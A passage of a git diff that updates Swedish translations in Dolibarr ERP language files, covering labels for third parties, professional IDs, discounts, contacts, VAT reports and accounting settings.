LocalTax1IsNotUsedES= RE används inte -LocalTax2IsUsed=Använd tredje skatt +LocalTax2IsUsed=Använd tredje moms LocalTax2IsUsedES= IRPF används LocalTax2IsNotUsedES= IRPF används inte WrongCustomerCode=Kundkod ogiltig WrongSupplierCode=Leverantörskoden är ogiltig -CustomerCodeModel=Kundkod, mall +CustomerCodeModel=Kundkodsmall SupplierCodeModel=Leverantörskodsmodell -Gencod=Barcode -GencodBuyPrice=Barcode of price ref +Gencod=Streckkod +GencodBuyPrice=Streckkod för prisreferens ##### Professional ID ##### ProfId1Short=Prof. id 1 ProfId2Short=Prof. id 2 @@ -128,17 +128,17 @@ ProfId5AR=- ProfId6AR=- ProfId1AT=Prof Id 1 (USt.-IdNr) ProfId2AT=Prof Id 2 (USt.-Nr) -ProfId3AT=Prof Id 3 (Handelsregister-Nr.) +ProfId3AT=Prof id 3 (handelsregister nr.) ProfId4AT=- ProfId5AT=EORI-nummer ProfId6AT=- -ProfId1AU=Prof Id 1 (ABN) +ProfId1AU=Prof id 1 (ABN) ProfId2AU=- ProfId3AU=- ProfId4AU=- ProfId5AU=- ProfId6AU=- -ProfId1BE=Prof Id 1 (Professional antal) +ProfId1BE=Prof id 1 (organisationsnummer) ProfId2BE=- ProfId3BE=- ProfId4BE=- @@ -150,10 +150,10 @@ ProfId3BR=IM (Inscricao Municipal) ProfId4BR=CPF #ProfId5BR=CNAE #ProfId6BR=INSS -ProfId1CH=UID-Nummer +ProfId1CH=UID-nummer ProfId2CH=- -ProfId3CH=Prof Id 1 (Federal antal) -ProfId4CH=Prof Id 2 (Commercial Rekordmånga) +ProfId3CH=Prof Id 1 (federalt nummer) +ProfId4CH=Prof Id 2 (kommersiellt registreringsnummer) ProfId5CH=EORI-nummer ProfId6CH=- ProfId1CL=Prof Id 1 (RUT) @@ -162,17 +162,17 @@ ProfId3CL=- ProfId4CL=- ProfId5CL=- ProfId6CL=- -ProfId1CM=Id. prof. 1 (Trade Register) -ProfId2CM=Id. prof. 2 (Taxpayer No.) -ProfId3CM=Id. prof. 3 (No. of creation decree) -ProfId4CM=Id. prof. 4 (Deposit certificate No.) -ProfId5CM=Id. prof. 5 (Others) +ProfId1CM=Id. prof. 1 (handelsregister) +ProfId2CM=Id. prof. 2 (skatteregistreringsnummer) +ProfId3CM=Id. prof. 3 (nr. skapelsedekret) +ProfId4CM=Id. prof. 4 (insättningsbevis nr.) +ProfId5CM=Id. prof. 5 (annat) ProfId6CM=- -ProfId1ShortCM=Trade Register -ProfId2ShortCM=Taxpayer No. -ProfId3ShortCM=No. of creation decree -ProfId4ShortCM=Deposit certificate No. -ProfId5ShortCM=Övrigt +ProfId1ShortCM=Handelsregister +ProfId2ShortCM=Skatteregistreringsnummer +ProfId3ShortCM=Nr skapelsedekret +ProfId4ShortCM=Insättningsbevis nr. +ProfId5ShortCM=Annat ProfId6ShortCM=- ProfId1CO=Prof Id 1 (RUT) ProfId2CO=- @@ -182,18 +182,18 @@ ProfId5CO=- ProfId6CO=- ProfId1DE=Prof Id 1 (USt.-IdNr) ProfId2DE=Prof Id 2 (USt.-Nr) -ProfId3DE=Prof Id 3 (Handelsregister-Nr.) +ProfId3DE=Prof Id 3 (handelsregister) ProfId4DE=- ProfId5DE=EORI-nummer ProfId6DE=- ProfId1ES=Prof Id 1 (CIF / NIF) -ProfId2ES=Prof Id 2 (Social Security Number) +ProfId2ES=Prof Id 2 (personnummer) ProfId3ES=Prof Id 3 (CNAE) -ProfId4ES=Prof Id 4 (Collegiate nummer) +ProfId4ES=Prof Id 4 (kollegiatnummer) ProfId5ES=Prof Id 5 (EORI-nummer) ProfId6ES=- ProfId1FR=Prof Id 1 (SIREN) -ProfId2FR=Prof Id 2 (Siret) +ProfId2FR=Prof Id 2 (siret) ProfId3FR=Prof Id 3 (NAF, gamla APE) ProfId4FR=Prof Id 4 (RCS / RM) ProfId5FR=Prof Id 5 (EORI-nummer) @@ -242,7 +242,7 @@ ProfId5MA=Id prof. 5 (I.C.E.) ProfId6MA=- ProfId1MX=Prof Id 1 (RFC). ProfId2MX=Prof Id 2 (R.. P. IMSS) -ProfId3MX=Prof Id 3 (Profesional stadgan) +ProfId3MX=Prof Id 3 (profesional stadgan) ProfId4MX=- ProfId5MX=- ProfId6MX=- @@ -267,7 +267,7 @@ ProfId6SN=- ProfId1TN=Prof Id 1 (RC) ProfId2TN=Prof Id 2 (Fiscal matricule) ProfId3TN=Prof Id 3 (Douane kod) -ProfId4TN=Prof Id 4 (förbud) +ProfId4TN=Prof Id 4 (BAN) ProfId5TN=- ProfId6TN=- ProfId1US=Prof Id (FEIN) @@ -291,58 +291,58 @@ ProfId6RU=- ProfId1UA=Prof Id 1 (EDRPOU) ProfId2UA=Prof Id 2 (DRFO) ProfId3UA=Prof Id 3 (INN) -ProfId4UA=Prof Id 4 (Certificate) +ProfId4UA=Prof Id 4 (certifikat) ProfId5UA=Prof Id 5 (RNOKPP) ProfId6UA=Prof Id 6 (TRDPAU) ProfId1DZ=RC -ProfId2DZ=Konst. +ProfId2DZ=Art. ProfId3DZ=NIF ProfId4DZ=NIS VATIntra=Momsregistreringsnummer VATIntraShort=Momsregistreringsnummer VATIntraSyntaxIsValid=Syntaxen är giltigt -VATReturn=Momsavkastning -ProspectCustomer=Möjlig kund / Kund -Prospect=Möjlig kund +VATReturn=Moms åter +ProspectCustomer=Prospekt/kund +Prospect=Prospekt CustomerCard=Kundkort Customer=Kund CustomerRelativeDiscount=Relativ kundrabatt -SupplierRelativeDiscount=Relativ försäljningsrabatt +SupplierRelativeDiscount=Relativ leverantörsrabatt CustomerRelativeDiscountShort=Relativ rabatt CustomerAbsoluteDiscountShort=Absolut rabatt -CompanyHasRelativeDiscount=Denna kund har en rabatt på %s%% -CompanyHasNoRelativeDiscount=Denna kund har ingen relativ rabatt som standard -HasRelativeDiscountFromSupplier=Du har en standardrabatt på %s%% från denna säljare -HasNoRelativeDiscountFromSupplier=Du har ingen standardrelativ rabatt från denna leverantör +CompanyHasRelativeDiscount=Denna kund har en standardrabatt på %s%% +CompanyHasNoRelativeDiscount=Denna kund har ingen standardrabatt +HasRelativeDiscountFromSupplier=Du har en standardrabatt på %s%% hos denna leverantör +HasNoRelativeDiscountFromSupplier=Ingen standard relativ rabatt hos denna leverantör CompanyHasAbsoluteDiscount=Den här kunden har rabatter tillgängliga (krediter eller nedbetalningar) för %s %s -CompanyHasDownPaymentOrCommercialDiscount=Denna kund har rabatter tillgängliga (kommersiella, nedbetalningar) för %s %s -CompanyHasCreditNote=Denna kund har fortfarande kreditnotor för %s %s -HasNoAbsoluteDiscountFromSupplier=Du har ingen rabattkredit tillgänglig från den här försäljaren -HasAbsoluteDiscountFromSupplier=Du har rabatter tillgängliga (krediter noteringar eller nedbetalningar) för %s %s från denna säljare -HasDownPaymentOrCommercialDiscountFromSupplier=Du har rabatter tillgängliga (kommersiella, nedbetalningar) för %s %s från denna säljare -HasCreditNoteFromSupplier=Du har kreditanteckningar för %s %s från denna säljare -CompanyHasNoAbsoluteDiscount=Denna kund har inga rabatttillgodohavanden -CustomerAbsoluteDiscountAllUsers=Absoluta kundrabatter (beviljas av alla användare) -CustomerAbsoluteDiscountMy=Absoluta kundrabatter (beviljas av dig själv) +CompanyHasDownPaymentOrCommercialDiscount=Denna kund har rabatter tillgängliga (kommersiella, förskott) på %s %s +CompanyHasCreditNote=Denna kund har fortfarande kreditnotor på %s %s +HasNoAbsoluteDiscountFromSupplier=Ingen rabatt/kredit tillgänglig hos denna leverantör +HasAbsoluteDiscountFromSupplier=Du har rabatter tillgängliga (krediter noteringar eller förskott) på %s %s hos denna leverantör +HasDownPaymentOrCommercialDiscountFromSupplier=Du har rabatter tillgängliga (kommersiella, förskott) på %s %s hos denna leverantör +HasCreditNoteFromSupplier=Du har en rabatt på %s %s hos denna leverantör +CompanyHasNoAbsoluteDiscount=Denna kund har inga rabatter tillgängliga +CustomerAbsoluteDiscountAllUsers=Absoluta kundrabatter (som beviljas av alla användare) +CustomerAbsoluteDiscountMy=Absoluta kundrabatter (som beviljas av dig) SupplierAbsoluteDiscountAllUsers=Absoluta leverantörsrabatter (angivna av alla användare) -SupplierAbsoluteDiscountMy=Absoluta leverantörsrabatter (angivna av dig själv) +SupplierAbsoluteDiscountMy=Absoluta leverantörsrabatter (angivna av dig) DiscountNone=Ingen -Vendor=Säljare +Vendor=Leverantör Supplier=Leverantör AddContact=Skapa kontakt -AddContactAddress=Skapa kontakt / adress -EditContact=Redigera kontakt / adress -EditContactAddress=Redigera kontakt / adress -Contact=Kontakt Adress +AddContactAddress=Skapa kontakt/adress +EditContact=Redigera kontakt/adress +EditContactAddress=Redigera kontakt/adress +Contact=Kontakt/adress Contacts=Kontakter/adresser ContactId=Kontakt id -ContactsAddresses=Kontakt / Adresser +ContactsAddresses=Kontakt/adresser FromContactName=Namn: -NoContactDefinedForThirdParty=Ingen kontakt inlagd för denna tredje part +NoContactDefinedForThirdParty=Ingen kontakt inlagd för denna tredjepart NoContactDefined=Ingen kontakt inlagd -DefaultContact=Standard kontakt / adress -ContactByDefaultFor=Standardkontakt / adress för -AddThirdParty=Skapa tredje part +DefaultContact=Standard kontakt/adress +ContactByDefaultFor=Standard kontakt/adress för +AddThirdParty=Skapa tredjepart DeleteACompany=Ta bort ett företag PersonalInformations=Personuppgifter AccountancyCode=Redovisningskonto @@ -352,54 +352,54 @@ CustomerCodeShort=Kundkod SupplierCodeShort=Leverantörskoder CustomerCodeDesc=Kundkod, unik för alla kunder SupplierCodeDesc=Leverantörskod, unik för alla leverantörer -RequiredIfCustomer=Krävs om tredje part är en kund eller möjlig kund +RequiredIfCustomer=Krävs om tredjepart är en kund eller prospekt RequiredIfSupplier=Krävs om tredjepart är en leverantör ValidityControledByModule=Giltighet kontrollerad av modulen ThisIsModuleRules=Regler för denna modul -ProspectToContact=Möjlig kund att kontakta +ProspectToContact=Prospekt att kontakta CompanyDeleted=Företaget "%s" raderad från databasen. -ListOfContacts=Lista med kontakter / adresser -ListOfContactsAddresses=Lista med kontakter / adresser +ListOfContacts=Lista med kontakter/adresser +ListOfContactsAddresses=Lista med kontakter/adresser ListOfThirdParties=Förteckning över tredjeparter -ShowCompany=Tredje part +ShowCompany=Tredjepart ShowContact=Kontaktadress ContactsAllShort=Alla (inget filter) -ContactType=Contact role -ContactForOrders=Beställningens kontaktinformation +ContactType=Kontakttyp +ContactForOrders=Orderns kontakt ContactForOrdersOrShipments=Orderens eller försändelsens kontakt ContactForProposals=Offertens kontaktinformation ContactForContracts=Kontraktets kontaktinformation ContactForInvoices=Fakturans kontaktinformation NoContactForAnyOrder=Denna kontakt är inte kontakt för någon order NoContactForAnyOrderOrShipments=Den här kontakten är inte en kontakt för någon order eller försändelse -NoContactForAnyProposal=Denna kontakt är inte kontakt i någon kommersiell offert +NoContactForAnyProposal=Denna kontakt är inte en kontakt i någon offert NoContactForAnyContract=Denna kontakt är inte kontakt för något kontrakt NoContactForAnyInvoice=Denna kontakt är inte kontakt för någon faktura NewContact=Ny kontakt -NewContactAddress=Ny kontakt / adress +NewContactAddress=Ny kontakt/adress MyContacts=Mina kontakter Capital=Kapital CapitalOf=Kapital %s EditCompany=Redigera företag -ThisUserIsNot=Denna användare är inte en prospekt, kund eller leverantör -VATIntraCheck=Kontrollera -VATIntraCheckDesc=Moms-ID måste innehålla land prefix. Länken %s använder den europeiska mervärdesskattjänsten (VIES) som kräver internetåtkomst från Dolibarr-servern. +ThisUserIsNot=Denna användare är inte ett prospekt, kund eller leverantör +VATIntraCheck=Check +VATIntraCheckDesc=Momsregistreringsnummer måste innehålla land prefix. Länken %s använder den europeiska mervärdesskattjänsten (VIES) som kräver internetåtkomst från Dolibarr-servern. VATIntraCheckURL=http://ec.europa.eu/taxation_customs/vies/vieshome.do VATIntraCheckableOnEUSite=Kontrollera momsnumret inom gemenskapen på Europeiska kommissionens webbplats -VATIntraManualCheck=You can also check manually on the European Commission website %s +VATIntraManualCheck=Du kan också kontrollera på EU's webbsida %s ErrorVATCheckMS_UNAVAILABLE=Kontroll inte möjlig. Kontrollera om tjänsten tillhandahålls av medlemsstaten (%s). -NorProspectNorCustomer=Inte utsikter, eller kund -JuridicalStatus=Typ av affärsenhet -Workforce=Arbetskraft -Staff=anställda -ProspectLevelShort=Potentiella -ProspectLevel=Prospect potential +NorProspectNorCustomer=Inte prospekt eller kund +JuridicalStatus=Typ av företag +Workforce=Antal anställda +Staff=Anställda +ProspectLevelShort=Potential +ProspectLevel=Prospekts potential ContactPrivate=Privat ContactPublic=Delad ContactVisibility=Synlighet ContactOthers=Andra -OthersNotLinkedToThirdParty=Andra, inte kopplade till tredje part -ProspectStatus=Prospect status +OthersNotLinkedToThirdParty=Annan, inte kopplad till tredjepart +ProspectStatus=Prospekts status PL_NONE=Ingen PL_UNKNOWN=Okänd PL_LOW=Låg @@ -409,8 +409,8 @@ TE_UNKNOWN=- TE_STARTUP=Startup TE_GROUP=Stort företag TE_MEDIUM=Medelstort företag -TE_ADMIN=Statliga -TE_SMALL=Små företag +TE_ADMIN=Statligt +TE_SMALL=Småföretagare TE_RETAIL=Återförsäljare TE_WHOLE=Grossist TE_PRIVATE=Privatperson @@ -425,27 +425,27 @@ ChangeNeverContacted=Ändra status till 'Ännu ej kontaktad' ChangeToContact=Ändra status till "Kontaktas" ChangeContactInProcess=Ändra status till 'Pågående kontakt' ChangeContactDone=Ändra status till 'Kontakt utförd' -ProspectsByStatus=Möjliga kunder efter status +ProspectsByStatus=Prospekt efter status NoParentCompany=Ingen -ExportCardToFormat=Export-kort för att formatera -ContactNotLinkedToCompany=Kontakt ej länkad till någon tredje part +ExportCardToFormat=Exportera kort till format +ContactNotLinkedToCompany=Kontakt inte länkad till någon tredjepart DolibarrLogin=Dolibarr inloggning NoDolibarrAccess=Dolibarr ej nåbar -ExportDataset_company_1=Tredjeparter (företag / stiftelser / fysiska personer) och deras egenskaper +ExportDataset_company_1=Tredjeparter (företag/stiftelser/fysiska personer) och deras egenskaper ExportDataset_company_2=Kontakter och deras egenskaper -ImportDataset_company_1=Tredjepartier och deras egenskaper -ImportDataset_company_2=Tredjepartens ytterligare kontakter / adresser och attribut +ImportDataset_company_1=Tredjeparter och deras egenskaper +ImportDataset_company_2=Tredjepartens ytterligare kontakter/adresser och attribut ImportDataset_company_3=Tredjeparts bankkonton -ImportDataset_company_4=Tredjepartens försäljningsrepresentanter (tilldela försäljningsrepresentanter / användare till företag) +ImportDataset_company_4=Tredjepartens säljare (tilldela säljare/användare till företag) PriceLevel=Prisnivå PriceLevelLabels=Prisnivåetiketter DeliveryAddress=Leveransadress AddAddress=Lägg till adress SupplierCategory=Leverantörskategori -JuridicalStatus200=Självständig +JuridicalStatus200=Fristående DeleteFile=Ta bort fil -ConfirmDeleteFile=Är du säker på att du vill ta bort denna fil? -AllocateCommercial=Tilldelad försäljningsrepresentant +ConfirmDeleteFile=Är du säker på att du vill ta bort filen %s? +AllocateCommercial=Tilldelad säljare Organization=Organisation FiscalYearInformation=Räkenskapsår FiscalMonthStart=Första månad av verksamhetsåret @@ -457,44 +457,49 @@ SocialNetworksInstagramURL=Instagram-URL SocialNetworksYoutubeURL=Youtube URL SocialNetworksGithubURL=Github URL YouMustAssignUserMailFirst=Du måste skapa ett mail för den här användaren innan du kan lägga till ett e-postmeddelande. -YouMustCreateContactFirst=För att kunna lägga till e-postmeddelanden måste du först definiera kontakter med giltiga e-postmeddelanden till tredjepart +YouMustCreateContactFirst=För att kunna lägga till e-postmeddelanden måste du först ange kontakter med giltiga e-postadresser för tredjepart ListSuppliersShort=Förteckning över leverantörer -ListProspectsShort=Förteckning över utsikter +ListProspectsShort=Förteckning över prospekt ListCustomersShort=Förteckning över kunder -ThirdPartiesArea=Tredjeparter / Kontakter +ThirdPartiesArea=Tredjeparter/kontakter LastModifiedThirdParties=Senaste %s tredjeparter som modifierades UniqueThirdParties=Totalt antal tredjeparter InActivity=Öppen -ActivityCeased=Stängt +ActivityCeased=Stängd ThirdPartyIsClosed=Tredjepart är stängd -ProductsIntoElements=Lista över produkter / tjänster mappade till %s +ProductsIntoElements=Lista över produkter/tjänster kopplade till %s CurrentOutstandingBill=Obetalda fakturor -OutstandingBill=Max för obetald faktura -OutstandingBillReached=Max. för enastående räkning uppnådd +OutstandingBill=Kreditgräns +OutstandingBillReached=Kreditgräns uppnådd OrderMinAmount=Minsta belopp för beställning -MonkeyNumRefModelDesc=Returnera ett nummer i formatet %syymm-nnnn för kundkoden och %syymm-nnnn för leverantörskoden där yy är år, mm är månad och nnnn är ett sekventiellt automatiskt inkrementeringsnummer utan paus och ingen retur till 0. -LeopardNumRefModelDesc=Kund / leverantör-nummer är ledig. Denna kod kan ändras när som helst. -ManagingDirectors=Företagledares namn (vd, direktör, ordförande ...) +MonkeyNumRefModelDesc=Ange nummer i formatet %syymm-nnnn för kundkoden och %syymm-nnnn för leverantörskoden där yy är år, mm är månad och nnnn är ett sekventiellt automatiskt inkrementeringsnummer utan mellanrum. +LeopardNumRefModelDesc=Koden kan ändras när som helst. +ManagingDirectors=Företagledares namn (VD, ordförande ...) MergeOriginThirdparty=Duplicera tredjepart (tredjepart du vill ta bort) MergeThirdparties=Sammanfoga tredjepart ConfirmMergeThirdparties=Är du säker på att du vill slå samman den valda tredjeparten med den nuvarande? Alla länkade objekt (fakturor, beställningar, ...) flyttas till den aktuella tredjeparten, varefter den valda tredjeparten raderas. -ThirdpartiesMergeSuccess=Tredjepart har blivit fusionerad -SaleRepresentativeLogin=Inloggning av försäljare -SaleRepresentativeFirstname=Förnamn på försäljningsrepresentant -SaleRepresentativeLastname=Efternamn för försäljare +ThirdpartiesMergeSuccess=Tredjepart har blivit sammanfogad +SaleRepresentativeLogin=Inloggning för säljare +SaleRepresentativeFirstname=Förnamn på säljare +SaleRepresentativeLastname=Efternamn på säljare ErrorThirdpartiesMerge=Ett fel uppstod vid borttagning av tredjepart. Kontrollera loggen. Ändringar har återställts. -NewCustomerSupplierCodeProposed=Kunder eller leverantörskod som redan används, föreslås en ny kod -KeepEmptyIfGenericAddress=Håll det här fältet tomt om den här adressen är en generisk adress +NewCustomerSupplierCodeProposed=Kund- eller leverantörskod används redan. Du bör använda en annan. +KeepEmptyIfGenericAddress=Håll det här fältet tomt om den här adressen är generell #Imports -PaymentTypeCustomer=Betalningstyp - Kund -PaymentTermsCustomer=Betalningsvillkor - Kund -PaymentTypeSupplier=Betalningstyp - Leverantör -PaymentTermsSupplier=Betalningstid - Leverantör +PaymentTypeCustomer=Betalningstyp - kund +PaymentTermsCustomer=Betalvillkor - kund +PaymentTypeSupplier=Betalningstyp - leverantör +PaymentTermsSupplier=Betalvillkor - leverantör PaymentTypeBoth=Betalningstyp - Kund och leverantör -MulticurrencyUsed=Använd multicurrency +MulticurrencyUsed=Använd flera valutor MulticurrencyCurrency=Valuta InEEC=Europa (EEG) RestOfEurope=Övriga Europa (EEG) -OutOfEurope=Ut ur Europa (EEG) -CurrentOutstandingBillLate=Nuvarande utestående räkning sent -BecarefullChangeThirdpartyBeforeAddProductToInvoice=Var försiktig, beroende på dina produktprisinställningar, bör du ändra tredje part innan du lägger till produkten i kassan. +OutOfEurope=Utanför Europa (EEG) +CurrentOutstandingBillLate=Faktura försenad +BecarefullChangeThirdpartyBeforeAddProductToInvoice=Beroende på dina inställningar för produktpris så bör du ändra tredjepart innan du lägger till produkten i kassan. +EmailAlreadyExistsPleaseRewriteYourCompanyName=E-postadressen finns redan, vänligen skriv ditt företagsnamn +TwoRecordsOfCompanyName=det finns mer än en post för detta företag, kontakta oss för att slutföra din partnerskapsförfrågan +CompanySection=Företagssektionen +ShowSocialNetworks=Visa sociala nätverk +HideSocialNetworks=Dölj sociala nätverk diff --git a/htdocs/langs/sv_SE/compta.lang b/htdocs/langs/sv_SE/compta.lang index c611358f7cf..5829ca7bca2 100644 --- a/htdocs/langs/sv_SE/compta.lang +++ b/htdocs/langs/sv_SE/compta.lang @@ -29,6 +29,8 @@ BalanceBefore=Balans (före) Balance=Balans Debit=Debet Credit=Credit +AccountingDebit=Debit +AccountingCredit=Kredit Piece=Redovisning Doc. AmountHTVATRealReceived=Net insamlade AmountHTVATRealPaid=Net betalas @@ -146,15 +148,15 @@ ConfirmPaySalary=Är du säker på att du vill klassificera lönekortet som beta DeleteSocialContribution=Ta bort en social eller skattemässig skattebetalning DeleteVAT=Radera en momsdeklaration DeleteSalary=Ta bort ett lönekort -DeleteVariousPayment=Delete a various payment +DeleteVariousPayment=Ta bort en annan betalning ConfirmDeleteSocialContribution=Är du säker på att du vill ta bort denna sociala / skattemässiga betalning? ConfirmDeleteVAT=Är du säker på att du vill ta bort denna momsdeklaration? -ConfirmDeleteSalary=Are you sure you want to delete this salary ? -ConfirmDeleteVariousPayment=Are you sure you want to delete this various payment ? +ConfirmDeleteSalary=Är du säker på att du vill ta bort denna lön? +ConfirmDeleteVariousPayment=Är du säker på att du vill ta bort denna olika betalning? ExportDataset_tax_1=Sociala och skattemässiga skatter och betalningar CalcModeVATDebt=Läge% svat på redovisning engagemang% s. CalcModeVATEngagement=Läge% svat på inkomster-utgifter% s. -CalcModeDebt=Analys av kända inspelade dokument även om de ännu inte redovisas i huvudboken. +CalcModeDebt=Analys av kända registrerade dokument även om de ännu inte redovisas i huvudboken. CalcModeEngagement=Analys av kända registrerade betalningar, även om de ännu inte är redovisade i huvudboken. CalcModeBookkeeping=Analys av data bokförd i huvudboken. CalcModeLT1= Läge% SRE på kundfakturor - leverantörerna fakturerar% s @@ -172,9 +174,9 @@ SeeReportInInputOutputMode=Se %sanalys av betalningar%s för en beräkn SeeReportInDueDebtMode=Se %sanalys av registrerade dokument %s för en beräkning baserad på kända registrerade dokument även om de ännu inte redovisas i huvudboken SeeReportInBookkeepingMode=Se %sanalys av bokföringsboken table%s för en rapport baserad på Bokföringsbokstabell RulesAmountWithTaxIncluded=- Belopp som visas är med alla skatter inkluderade -RulesAmountWithTaxExcluded=- Amounts of invoices shown are with all taxes excluded -RulesResultDue=- It includes all invoices, expenses, VAT, donations, salaries, whether they are paid or not.
      - It is based on the billing date of invoices and on the due date for expenses or tax payments. For salaries, the date of end of period is used. -RulesResultInOut=- It includes the real payments made on invoices, expenses, VAT and salaries.
      - It is based on the payment dates of the invoices, expenses, VAT, donations and salaries. +RulesAmountWithTaxExcluded=- Fakturabeloppen som visas är exklusive moms +RulesResultDue=– Det inkluderar alla fakturor, utgifter, moms, donationer, löner, oavsett om de betalas eller inte.
      - Det är baserat på faktureringsdatum för fakturor och på förfallodatum för utgifter eller skattebetalningar. För löner används datum för periodens slut. +RulesResultInOut=– Det inkluderar de verkliga betalningarna på fakturor, utgifter, moms och löner.
      - Det är baserat på betalningsdatum för fakturor, utgifter, moms, donationer och löner. RulesCADue=- Det inkluderar kundens förfallna fakturor, oavsett om de betalas eller inte.
      - Det är baserat på faktureringsdatum för dessa fakturor.
      RulesCAIn=- Det inkluderar alla effektiva betalningar av fakturor som mottagits från kunder.
      - Det är baserat på betalningsdatum för dessa fakturor
      RulesCATotalSaleJournal=Den innehåller alla kreditlinjer från försäljningsloggboken. @@ -192,24 +194,24 @@ LT2ReportByCustomers=Rapportera skatt 3 av tredje part LT1ReportByCustomersES=Rapport från tredje part RE LT2ReportByCustomersES=Rapport från tredje part IRPF VATReport=Försäljningsmomsrapport -VATReportByPeriods=Sales tax report by period -VATReportByMonth=Sales tax report by month -VATReportByRates=Sales tax report by rate -VATReportByThirdParties=Sales tax report by third party -VATReportByCustomers=Sales tax report by customer +VATReportByPeriods=Momsrapport per period +VATReportByMonth=Momsrapport per månad +VATReportByRates=Momsrapport efter momssats +VATReportByThirdParties=Momsrapport från tredje part +VATReportByCustomers=Momsrapport per kund VATReportByCustomersInInputOutputMode=Rapport av kunden moms samlas och betalas -VATReportByQuartersInInputOutputMode=Report by Sales tax rate of the tax collected and paid +VATReportByQuartersInInputOutputMode=Rapportering av momssatsen för insamlad och betald moms VATReportShowByRateDetails=Visa detaljer om denna kurs LT1ReportByQuarters=Rapportera skatt 2 efter skatt LT2ReportByQuarters=Rapportera skatt 3 efter skatt LT1ReportByQuartersES=Rapport från RE hastighet LT2ReportByQuartersES=Betänkande av IRPF hastighet -SeeVATReportInInputOutputMode=See report %sVAT collection%s for a standard calculation -SeeVATReportInDueDebtMode=See report %sVAT on debit%s for a calculation with an option on the invoicing -RulesVATInServices=- For services, the report includes the VAT of payments actually received or paid on the basis of the date of payment. -RulesVATInProducts=- For material assets, the report includes the VAT on the basis of the date of payment. -RulesVATDueServices=- For services, the report includes VAT of due invoices, paid or not, based on the invoice date. -RulesVATDueProducts=- For material assets, the report includes the VAT of due invoices, based on the invoice date. +SeeVATReportInInputOutputMode=Se rapporten %smomsuppbörd%s för en standardberäkning +SeeVATReportInDueDebtMode=Se rapport %smoms på debit%s för en beräkning med option på faktureringen +RulesVATInServices=- För tjänster inkluderar rapporten momsen på betalningar som faktiskt har tagits emot eller betalats på basis av betalningsdatum. +RulesVATInProducts=- För materiella tillgångar inkluderar rapporten momsen på basis av betalningsdatum. +RulesVATDueServices=- För tjänster inkluderar rapporten moms på förfallna fakturor, betalda eller ej, baserat på fakturadatum. +RulesVATDueProducts=- För materiella tillgångar inkluderar rapporten momsen på förfallna fakturor, baserat på fakturadatum. OptionVatInfoModuleComptabilite=Anmärkning: För materiella tillgångar, bör det använda dagen för leverans att vara mer rättvis. ThisIsAnEstimatedValue=Det här är en förhandsgranskning, baserad på affärshändelser och inte från det slutliga ledgardabellen, så slutresultatet kan skilja sig från dessa förhandsgranskningsvärden PercentOfInvoice=%% / Faktura @@ -244,12 +246,12 @@ TurnoverPerProductInCommitmentAccountingNotRelevant=Rapporten om omsättning som TurnoverPerSaleTaxRateInCommitmentAccountingNotRelevant=Rapporten om omsättning samlad per försäljningsskattesats är inte tillgänglig. Denna rapport är endast tillgänglig för fakturering av omsättning. CalculationMode=Beräkning läge AccountancyJournal=Redovisningskodsloggbok -ACCOUNTING_VAT_SOLD_ACCOUNT=Bokföringskonto som standard för moms på försäljning (används om den inte är definierad i momsordlista) -ACCOUNTING_VAT_BUY_ACCOUNT=Bokföringskonto som standard för moms vid köp (används om det inte är definierat i inställningen för momsordlista) -ACCOUNTING_VAT_PAY_ACCOUNT=Bokföringskonto som standard för att betala moms -ACCOUNTING_ACCOUNT_CUSTOMER=Redovisningskonto som används för kundens tredje part +ACCOUNTING_VAT_SOLD_ACCOUNT=Konto (från kontoplanen) som ska användas som standardkonto för moms på försäljning (används om det inte har definierats i inställningar för momsordbok) +ACCOUNTING_VAT_BUY_ACCOUNT=Konto (från kontoplanen) som ska användas som standardkonto för moms på inköp (används om det inte har definierats i inställningar för momsordbok) +ACCOUNTING_VAT_PAY_ACCOUNT=Konto (från kontoplanen) som ska användas som standardkonto för att betala moms +ACCOUNTING_ACCOUNT_CUSTOMER=Konto (från kontoplanen) används för "kund" tredje part ACCOUNTING_ACCOUNT_CUSTOMER_Desc=Det dedikerade bokföringskontot som definieras på tredjepartskort kommer endast att användas för Subledger-bokföring. Den här kommer att användas till huvudbokföring och som standardvärde för Subledger-redovisning om en dedikerad kundkonto på tredjeparten inte är definierat. -ACCOUNTING_ACCOUNT_SUPPLIER=Redovisningskonto som används för leverantörs tredje part +ACCOUNTING_ACCOUNT_SUPPLIER=Konto (från kontoplanen) som används för "leverantörens" tredje part ACCOUNTING_ACCOUNT_SUPPLIER_Desc=Det dedikerade bokföringskontot som definieras på tredje partskort kommer endast att användas för Subledger-bokföring. Den här kommer att användas för huvudboken och som standardvärde för Subledger-bokföring om en dedikerad leverantörsredovisningskonto på tredjeparten inte är definierad. ConfirmCloneTax=Bekräfta klon av en social / skattemässig skatt ConfirmCloneVAT=Bekräfta klonen på en momsdeklaration @@ -289,14 +291,15 @@ ReportPurchaseTurnover=Fakturerad inköpsomsättning ReportPurchaseTurnoverCollected=Inköpt omsättning IncludeVarpaysInResults = Inkludera olika betalningar i rapporter IncludeLoansInResults = Inkludera lån i rapporter -InvoiceLate30Days = Late (> 30 days) -InvoiceLate15Days = Late (15 to 30 days) -InvoiceLateMinus15Days = Late (< 15 days) -InvoiceNotLate = To be collected (< 15 days) -InvoiceNotLate15Days = To be collected (15 to 30 days) -InvoiceNotLate30Days = To be collected (> 30 days) -InvoiceToPay=To pay (< 15 days) -InvoiceToPay15Days=To pay (15 to 30 days) -InvoiceToPay30Days=To pay (> 30 days) -ConfirmPreselectAccount=Preselect accountancy code -ConfirmPreselectAccountQuestion=Are you sure you want to preselect the %s selected lines with this accountancy code ? +InvoiceLate30Days = Försenad (> 30 dagar) +InvoiceLate15Days = Försenad (15 till 30 dagar) +InvoiceLateMinus15Days = Försenad (< 15 dagar) +InvoiceNotLate = Ska samlas in (< 15 dagar) +InvoiceNotLate15Days = Ska samlas in (15 till 30 dagar) +InvoiceNotLate30Days = Ska samlas in (> 30 dagar) +InvoiceToPay=Att betala (< 15 dagar) +InvoiceToPay15Days=Att betala (15 till 30 dagar) +InvoiceToPay30Days=Att betala (> 30 dagar) +ConfirmPreselectAccount=Förvälj bokföringskod +ConfirmPreselectAccountQuestion=Är du säker på att du vill förvälja de %s valda raderna med denna bokföringskod? +AmountPaidMustMatchAmountOfDownPayment=Betalt belopp måste matcha handpenningens belopp diff --git a/htdocs/langs/sv_SE/contracts.lang b/htdocs/langs/sv_SE/contracts.lang index e644f24c5e6..539228180b3 100644 --- a/htdocs/langs/sv_SE/contracts.lang +++ b/htdocs/langs/sv_SE/contracts.lang @@ -1,59 +1,60 @@ # Dolibarr language file - Source file is en_US - contracts -ContractsArea=Kontrakt område -ListOfContracts=Förteckning över avtal +ContractsArea=Kontraktsområde +ListOfContracts=Lista med 